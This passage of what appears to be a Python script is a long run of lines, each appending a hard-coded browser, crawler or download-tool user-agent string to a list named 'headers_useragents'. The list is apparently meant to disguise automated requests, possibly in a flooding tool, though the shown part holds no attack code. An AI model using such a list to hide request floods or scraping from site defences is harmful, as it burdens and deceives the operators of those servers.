  2932.         headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows CE; IEMobile 6.5)')
  2933.         headers_useragents.append('Opera/9.80 (Macintosh; U; de-de) Presto/2.8.131 Version/11.10')
  2934.         headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.9) Gecko/20100318 Mandriva/2.0.4-69.1mib2010.0 SeaMonkey/2.0.4')
  2935.         headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP) Gecko/20060706 IEMobile/7.0')
  2936.         headers_useragents.append('Mozilla/5.0 (iPad; U; CPU OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B334b Safari/531.21.10')
  2937.         headers_useragents.append('Mozilla/5.0 (Macintosh; I; Intel Mac OS X 10_6_7; ru-ru)')
  2938.         headers_useragents.append('Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)')
  2939.         headers_useragents.append('Mozilla/1.22 (compatible; MSIE 6.0; Windows NT 6.1; Trident/4.0; GTB6; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; OfficeLiveConnector.1.4; OfficeLivePatch.1.3)')
  2940.         headers_useragents.append('Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)')
  2941.         headers_useragents.append('Mozilla/4.0 (Macintosh; U; Intel Mac OS X 10_6_7; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16')
  2942.         headers_useragents.append('Mozilla/1.22 (X11; U; Linux x86_64; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1')
  2943.         headers_useragents.append('Mozilla/5.0 (compatible; MSIE 2.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.2)')
  2944.         headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51')
  2945.         headers_useragents.append('Mozilla/5.0 (compatible; MSIE 2.0; Windows CE; IEMobile 7.0)')
  2946.         headers_useragents.append('Mozilla/4.0 (Macintosh; U; PPC Mac OS X; en-US)')
  2947.         headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.0; en; rv:1.9.1.7) Gecko/20091221 Firefox/3.5.7')
  2948.         headers_useragents.append('BlackBerry8300/4.2.2 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/107 UP.Link/6.2.3.15.0')
  2949.         headers_useragents.append('Mozilla/1.22 (compatible; MSIE 2.0; Windows 3.1)')
  2950.         headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Avant Browser [avantbrowser.com]; iOpus-I-M; QXW03416; .NET CLR 1.1.4322)')
  2951.         headers_useragents.append('Mozilla/3.0 (Windows NT 6.1; ru-ru; rv:1.9.1.3.) Win32; x86 Firefox/3.5.3 (.NET CLR 2.0.50727)')
  2952.         headers_useragents.append('Opera/7.0 (compatible; MSIE 2.0; Windows 3.1)')
  2953.         headers_useragents.append('Opera/9.80 (Windows NT 5.1; U; en-US) Presto/2.8.131 Version/11.10')
  2954.         headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.5; Windows NT 5.1;)')
  2955.         headers_useragents.append('Mozilla/5.0 (Windows; U; Windows CE 4.21; rv:1.8b4) Gecko/20050720 Minimo/0.007')
  2956.         headers_useragents.append('BlackBerry9000/5.0.0.93 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/179')
  2957.         headers_useragents.append('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30)')
  2958.         headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4322)')
  2959.         headers_useragents.append('Googlebot/2.1 (http://www.googlebot.com/bot.html)')
  2960.         headers_useragents.append('Opera/9.20 (Windows NT 6.0; U; en)')
  2961.         headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.1) Gecko/20061205 Iceweasel/2.0.0.1 (Debian-2.0.0.1+dfsg-2)')
  2962.         headers_useragents.append('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; FDM; .NET CLR 2.0.50727; InfoPath.2; .NET CLR 1.1.4322)')
  2963.         headers_useragents.append('Opera/10.00 (X11; Linux i686; U; en) Presto/2.2.0')
  2964.         headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.0; he-IL) AppleWebKit/528.16 (KHTML, like Gecko) Version/4.0 Safari/528.16')
  2965.         headers_useragents.append('Mozilla/5.0 (compatible; Yahoo! Slurp/3.0; http://help.yahoo.com/help/us/ysearch/slurp)')
  2966.         headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.13) Gecko/20101209 Firefox/3.6.13')
  2967.         headers_useragents.append('Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 5.1; Trident/5.0)')
  2968.         headers_useragents.append('Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727)')
  2969.         headers_useragents.append('Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 6.0)')
  2970.         headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0b; Windows 98)')
  2971.         headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.2.3) Gecko/20100401 Firefox/4.0 (.NET CLR 3.5.30729)')
  2972.         headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.8) Gecko/20100804 Gentoo Firefox/3.6.8')
  2973.         headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.7) Gecko/20100809 Fedora/3.6.7-1.fc14 Firefox/3.6.7')
  2974.         headers_useragents.append('Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)')
  2975.         headers_useragents.append('Mozilla/5.0 (compatible; Yahoo! Slurp; http://help.yahoo.com/help/us/ysearch/slurp)')
  2976.         headers_useragents.append('YahooSeeker/1.2 (compatible; Mozilla 4.0; MSIE 5.5; yahooseeker at yahoo-inc dot com ; http://help.yahoo.com/help/us/shop/merchant/)')
  2977.         headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3')
  2978.         headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
  2979.         headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
  2980.         headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1')
  2981.         headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1')
  2982.         headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)')
  2983.         headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)')
  2984.         headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)')
  2985.         headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 2.0.50727; InfoPath.2)')
  2986.         headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)')
  2987.         headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)')
  2988.         headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51')
  2989.         headers_useragents.append('AppEngine-Google; (+http://code.google.com/appengine; appid: webetrex)')
  2990.         headers_useragents.append('Mozilla/5.0 (compatible; MSIE 9.0; AOL 9.7; AOLBuild 4343.19; Windows NT 6.1; WOW64; Trident/5.0; FunWebProducts)')
  2991.         headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.27; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)')
  2992.         headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.21; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)')
  2993.         headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.19; Windows NT 5.1; Trident/4.0; GTB7.2; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)')
  2994.         headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.19; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)')
  2995.         headers_useragents.append('Mozilla/4.0 (compatible; MSIE 7.0; AOL 9.7; AOLBuild 4343.19; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)')
  2996.         headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.1) Gecko/20060111 Firefox/1.5.0.1')
  2997.         headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)')
  2998.         headers_useragents.append('Links (2.1pre15; FreeBSD 5.4-STABLE i386; 158x58)')
  2999.         headers_useragents.append('Wget/1.8.2')
  3000.         headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; en) Opera 8.0')
  3001.         headers_useragents.append('Mediapartners-Google/2.1')
  3002.         headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.5) Gecko/20031007 Firebird/0.7')
  3003.         headers_useragents.append('Mozilla/4.04 [en] (WinNT; I)')
  3004.         headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.12) Gecko/20060205 Galeon/2.0.0 (Debian package 2.0.0-2)')
  3005.         headers_useragents.append('lwp-trivial/1.41')
  3006.         headers_useragents.append('NetBSD-ftp/20031210')
  3007.         headers_useragents.append('Dillo/0.8.5-i18n-misc')
  3008.         headers_useragents.append('Links (2.1pre20; NetBSD 2.1_STABLE i386; 145x54)')
  3009.         headers_useragents.append('Lynx/2.8.5rel.5 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.7d')
  3010.         headers_useragents.append('Lynx/2.8.5rel.3 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.7d')
  3011.         headers_useragents.append('Links (2.1pre19; NetBSD 2.1_STABLE sparc64; 145x54)')
  3012.         headers_useragents.append('Lynx/2.8.6dev.15 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.7d')
  3013.         headers_useragents.append('Links (2.1pre14; IRIX64 6.5 IP27; 145x54)')
  3014.         headers_useragents.append('Wget/1.10.1')
  3015.         headers_useragents.append('ELinks/0.10.5 (textmode; FreeBSD 4.11-STABLE i386; 80x22-2)')
  3016.         headers_useragents.append('Links (2.1pre20; FreeBSD 4.11-STABLE i386; 80x22)')
  3017.         headers_useragents.append('Lynx/2.8.5rel.4 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.7d-p1')
  3018.         headers_useragents.append('Opera/8.52 (X11; Linux i386; U; de)')
  3019.         headers_useragents.append('Mozilla/5.0 (X11; U; NetBSD i386; en-US; rv:1.8.0.1) Gecko/20060310 Firefox/1.5.0.1')
  3020.         headers_useragents.append('Mozilla/5.0 (X11; U; IRIX64 IP27; en-US; rv:1.4) Gecko/20030711')
  3021.         headers_useragents.append('Mozilla/4.8 [en] (X11; U; IRIX64 6.5 IP27)')
  3022.         headers_useragents.append('Mozilla/4.76 [en] (X11; U; SunOS 5.8 sun4m)')
  3023.         headers_useragents.append('Opera/5.0 (SunOS 5.8 sun4m; U) [en]')
  3024.         headers_useragents.append('Links (2.1pre15; SunOS 5.8 sun4m; 80x24)')
  3025.         headers_useragents.append('Lynx/2.8.5rel.1 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.7d')
  3026.         headers_useragents.append('Wget/1.8.1')
  3027.         headers_useragents.append('Wget/1.9.1')
  3028.         headers_useragents.append('tnftp/20050625')
  3029.         headers_useragents.append('Links (1.00pre12; Linux 2.6.14.2.20051115 i686; 80x24) (Debian pkg 0.99+1.00pre12-1)')
  3030.         headers_useragents.append('Lynx/2.8.5rel.1 libwww-FM/2.14 SSL-MM/1.4.1 GNUTLS/1.0.16')
  3031.         headers_useragents.append('Mozilla/5.0 (X11; U; SunOS sun4u; en-US; rv:1.7) Gecko/20051122')
  3032.         headers_useragents.append('Wget/1.7')
  3033.         headers_useragents.append('Lynx/2.8.2rel.1 libwww-FM/2.14')
  3034.         headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; de) Opera 8.53')
  3035.         headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1; .NET CLR 1.1.4322; InfoPath.1; .NET CLR 2.0.50727)')
  3036.         headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; de; rv:1.8.0.1) Gecko/20060111 Firefox/1.5.0.1')
  3037.         headers_useragents.append('Lynx/2.8.5rel.1 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.7e')
  3038.         headers_useragents.append('Links (2.1pre20; SunOS 5.10 sun4u; 80x22)')
  3039.         headers_useragents.append('Lynx/2.8.5rel.5 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.7i')
  3040.         headers_useragents.append('Mozilla/5.0 (X11; U; FreeBSD i386; en-US; rv:1.8) Gecko/20060202 Firefox/1.5')
  3041.         headers_useragents.append('Opera/8.51 (X11; Linux i386; U; de)')
  3042.         headers_useragents.append('Emacs-W3/4.0pre.46 URL/p4.0pre.46 (i386--freebsd; X11)')
  3043.         headers_useragents.append('Links (0.96; OpenBSD 3.0 sparc)')
  3044.         headers_useragents.append('Lynx/2.8.4rel.1 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.6c')
  3045.         headers_useragents.append('Lynx/2.8.3rel.1 libwww-FM/2.14')
  3046.         headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.8.0.1) Gecko/20060111 Firefox/1.5.0.1')
  3047.         headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)')
  3048.         headers_useragents.append('libwww-perl/5.79')
  3049.         headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; en) Opera 8.53')
  3050.         headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; de-DE; rv:1.7.12) Gecko/20050919 Firefox/1.0.7')
  3051.         headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4322; Alexa Toolbar)')
  3052.         headers_useragents.append('msnbot/1.0 (+http://search.msn.com/msnbot.htm)')
  3053.         headers_useragents.append('Googlebot/2.1 (+http://www.google.com/bot.html)')
  3054.         headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.8.0.1) Gecko/20060111 Firefox/1.5.0.1')
  3055.         headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.12) Gecko/20051008 Firefox/1.0.7')
  3056.         headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; X11; Linux i686; en) Opera 8.51')
  3057.         headers_useragents.append('Mozilla/5.0 (compatible; Konqueror/3.4; Linux) KHTML/3.4.3 (like Gecko)')
  3058.         headers_useragents.append('Lynx/2.8.4rel.1 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.7c')
  3059.         headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; AOL 9.0; Windows NT 5.1; .NET CLR 1.1.4322; Alexa Toolbar)')
  3060.         headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)')
  3061.         headers_useragents.append('Mozilla/5.0 (compatible; Yahoo! Slurp; http://help.yahoo.com/help/us/ysearch/slurp)')
  3062.         headers_useragents.append('Mozilla/4.8 [en] (Windows NT 5.1; U)')
  3063.         headers_useragents.append('Opera/8.51 (Windows NT 5.1; U; en)')
  3064.         headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)')
  3065.         headers_useragents.append('Opera/8.51 (Windows NT 5.1; U; en;VWP-online.de)')
  3066.         headers_useragents.append('sproose/0.1-alpha (sproose crawler; http://www.sproose.com/bot.html; crawler@sproose.com)')
  3067.         headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.8.0.1) Gecko/20060130 SeaMonkey/1.0')
  3068.         headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.8.0.1) Gecko/20060130 SeaMonkey/1.0,gzip(gfe) (via translate.google.com)')
  3069.         headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.0; de; rv:1.8.0.1) Gecko/20060111 Firefox/1.5.0.1')
  3070.         headers_useragents.append('BrowserEmulator/0.9 see http://dejavu.org')
  3071.         headers_useragents.append('Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)')
  3072.         headers_useragents.append('Mozilla/4.0 (compatible; MSIE 5.5; Windows 98; Win 9x 4.90)')
  3073.         headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.0; de-DE; rv:0.9.4.1) Gecko/20020508')
  3074.         headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/125.2 (KHTML, like Gecko)')
  3075.         headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686; de-DE; rv:1.4) Gecko/20030624')
  3076.         headers_useragents.append('iCCrawler (http://www.iccenter.net/bot.htm)')
  3077.         headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; de-DE; rv:1.7.6) Gecko/20050321 Firefox/1.0.2')
  3078.         headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; Maxthon; .NET CLR 1.1.4322)')
  3079.         headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686; de-AT; rv:1.7.12) Gecko/20051013 Debian/1.7.12-1ubuntu1')
  3080.         headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.0; de; rv:1.8) Gecko/20051111 Firefox/1.5')
  3081.         headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; .NET CLR 1.1.4322)')
  3082.         headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.0; de-DE; rv:0.9.4.1) Gecko/20020508 Netscape6/6.2.3')
  3083.         headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; de) Opera 8.50')
  3084.         headers_useragents.append('Mozilla/3.0 (x86 [de] Windows NT 5.0; Sun)')
  3085.         headers_useragents.append('Java/1.4.1_04')
  3086.         headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.8) Gecko/20051111 Firefox/1.5')
  3087.         headers_useragents.append('msnbot/0.9 (+http://search.msn.com/msnbot.htm)')
  3088.         headers_useragents.append('NutchCVS/0.8-dev (Nutch running at UW; http://www.nutch.org/docs/en/bot.html; sycrawl@cs.washington.edu)')
  3089.         headers_useragents.append('Mozilla/4.0 compatible ZyBorg/1.0 (wn-14.zyborg@looksmart.net; http://www.WISEnutbot.com)')
  3090.         headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; de) Opera 8.53')
  3091.         headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; de-DE; rv:1.4) Gecko/20030619 Netscape/7.1 (ax)')
  3092.         headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en) AppleWebKit/312.8 (KHTML, like Gecko) Safari/312.6')
  3093.         headers_useragents.append('Mozilla/4.0 (compatible; MSIE 5.0; Windows NT; DigExt)')
  3094.         headers_useragents.append('Mozilla/4.0 (compatible; MSIE 5.5; Windows NT 4.0)')
  3095.         headers_useragents.append('Mozilla/4.0 (compatible; MSIE 5.16; Mac_PowerPC)')
  3096.         headers_useragents.append('Mozilla/4.0 (compatible; MSIE 5.01; Windows 98)')
  3097.         headers_useragents.append('Mozilla/4.0 (compatible; MSIE 5.0; Windows 98; DigExt)')
  3098.         headers_useragents.append('Mozilla/4.0 (compatible; MSIE 5.5; Windows 98)')
  3099.         headers_useragents.append('Mozilla/4.0 (compatible; MSIE 5.5; Windows 98; .NET CLR 1.1.4322)')
  3100.         headers_useragents.append('Mozilla/4.0 (compatible; MSIE 5.0; Windows 95)')
  3101.         headers_useragents.append('Mozilla/4.0 (compatible; MSIE 5.5; AOL 7.0; Windows 98)')
  3102.         headers_useragents.append('Mozilla/4.0 (compatible; MSIE 5.17; Mac_PowerPC)')
  3103.         headers_useragents.append('Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)')
  3104.         headers_useragents.append('Mozilla/4.0 (compatible; MSIE 5.23; Mac_PowerPC)')
  3105.         headers_useragents.append('Opera/8.53 (Windows NT 5.1; U; en)')
  3106.         headers_useragents.append('Opera/8.01 (Windows NT 5.0; U; de)')
  3107.         headers_useragents.append('Opera/8.54 (Windows NT 5.1; U; de)')
  3108.         headers_useragents.append('Opera/8.53 (Windows NT 5.0; U; en)')
  3109.         headers_useragents.append('Opera/8.01 (Windows NT 5.1; U; de)')
  3110.         headers_useragents.append('Opera/8.50 (Windows NT 5.1; U; de)')
  3111.         headers_useragents.append('Mozilla/4.0 (compatible- MSIE 6.0- Windows NT 5.1- SV1- .NET CLR 1.1.4322')
  3112.         headers_useragents.append('Mozilla/4.0(compatible; MSIE 5.0; Windows 98; DigExt)')
  3113.         headers_useragents.append('Mozilla/4.0 (compatible; Cerberian Drtrs Version-3.2-Build-0)')
  3114.         headers_useragents.append('Mozilla/4.0 (compatible; AvantGo 6.0; FreeBSD)')
  3115.         headers_useragents.append('Mozilla/4.5 [de] (Macintosh; I; PPC)')
  3116.         headers_useragents.append('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)')
  3117.         headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows 98; .NET CLR 1.1.4322; MSN 9.0;MSN 9.1; MSNbMSNI; MSNmen-us; MSNcIA; MPLUS)')
  3118.         headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; {59FC8AE0-2D88-C929-DA8D-B559D01826E7}; .NET CLR 1.1.4322)')
  3119.         headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; snprtz|S04741035500914#914|isdn; .NET CLR 1.1.4322)')
  3120.         headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; EnergyPlugIn; dial)')
  3121.         headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; iebar; .NET CLR 1.1.4322)')
  3122.         headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Q312461; sbcydsl 3.12; YComp 5.0.0.0; YPC 3.2.0; .NET CLR 1.1.4322; yplus 5.1.02b)')
  3123.         headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Arcor 5.004; .NET CLR 1.0.3705)')
  3124.         headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR 1.1.4322)')
  3125.         headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; YComp 5.0.0.0; SV1; .NET CLR 1.0.3705)')
  3126.         headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Ringo; .NET CLR 1.1.4322)')
  3127.         headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; YPC 3.0.1; .NET CLR 1.1.4322; yplus 4.1.00b)')
  3128.         headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows 98; YPC 3.2.0)')
  3129.         headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; AOL 7.0; Windows NT 5.1; FunWebProducts)')
  3130.         headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; FunWebProducts; BUILDWARE 1.6; .NET CLR 1.1.4322)')
  3131.         headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; HbTools 4.7.5)')
  3132.         headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; YPC 3.2.0; (R1 1.5)')
  3133.         headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; X11; Linux i686; it)')
  3134.         headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; FunWebProducts; SV1)')
  3135.         headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Arcor 5.004; FunWebProducts; HbTools 4.7.5)')
  3136.         headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows 98; en)')
  3137.         headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.0.3705; .NET CLR 1.1.4322; Tablet PC 1.7)')
  3138.         headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Q312469)')
  3139.         headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; .NET CLR 2.0.50727)')
  3140.         headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Maxthon; SV1; FDM)')
  3141.         headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC; de-DE; rv:1.0.2)')
  3142.         headers_useragents.append('Mozilla/5.0 (Windows; U; Win98; de-DE; rv:1.7.12)')
  3143.         headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-GB; rv:1.8.0.1)')
  3144.         headers_useragents.append('Mozilla/5.0 (compatible; Konqueror/3.4; Linux 2.6.14-kanotix-9; X11)')
  3145.         headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.0; de-DE; rv:1.7.10)')
  3146.         headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.0; de-DE; rv:1.7.12)')
  3147.         headers_useragents.append('Mozilla/5.0 (Windows; U; Win98; de; rv:1.8.0.1)')
  3148.         headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.8.0.1)')
  3149.         headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; de; rv:1.8.0.1)')
  3150.         headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.12)')
  3151.         headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.2)')
  3152.         headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; fr; rv:1.8.0.1)')
  3153.         headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; de-DE; rv:1.7.7)')
  3154.         headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.6)')
  3155.         headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686; de; rv:1.8)')
  3156.         headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; de-DE; rv:1.7.8)')
  3157.         headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.10)')
  3158.         headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; es-ES; rv:1.7.10)')
  3159.         headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; pl; rv:1.8.0.1)')
  3160.         headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-us)')
  3161.         headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8)')
  3162.         headers_useragents.append('Mozilla/5.0 (Windows; U; Win 9x 4.90; de; rv:1.8.0.1)')
  3163.         headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686; de-DE; rv:1.7.12)')
  3164.         headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; fr)')
  3165.         headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.0; de-DE; rv:1.7.8)')
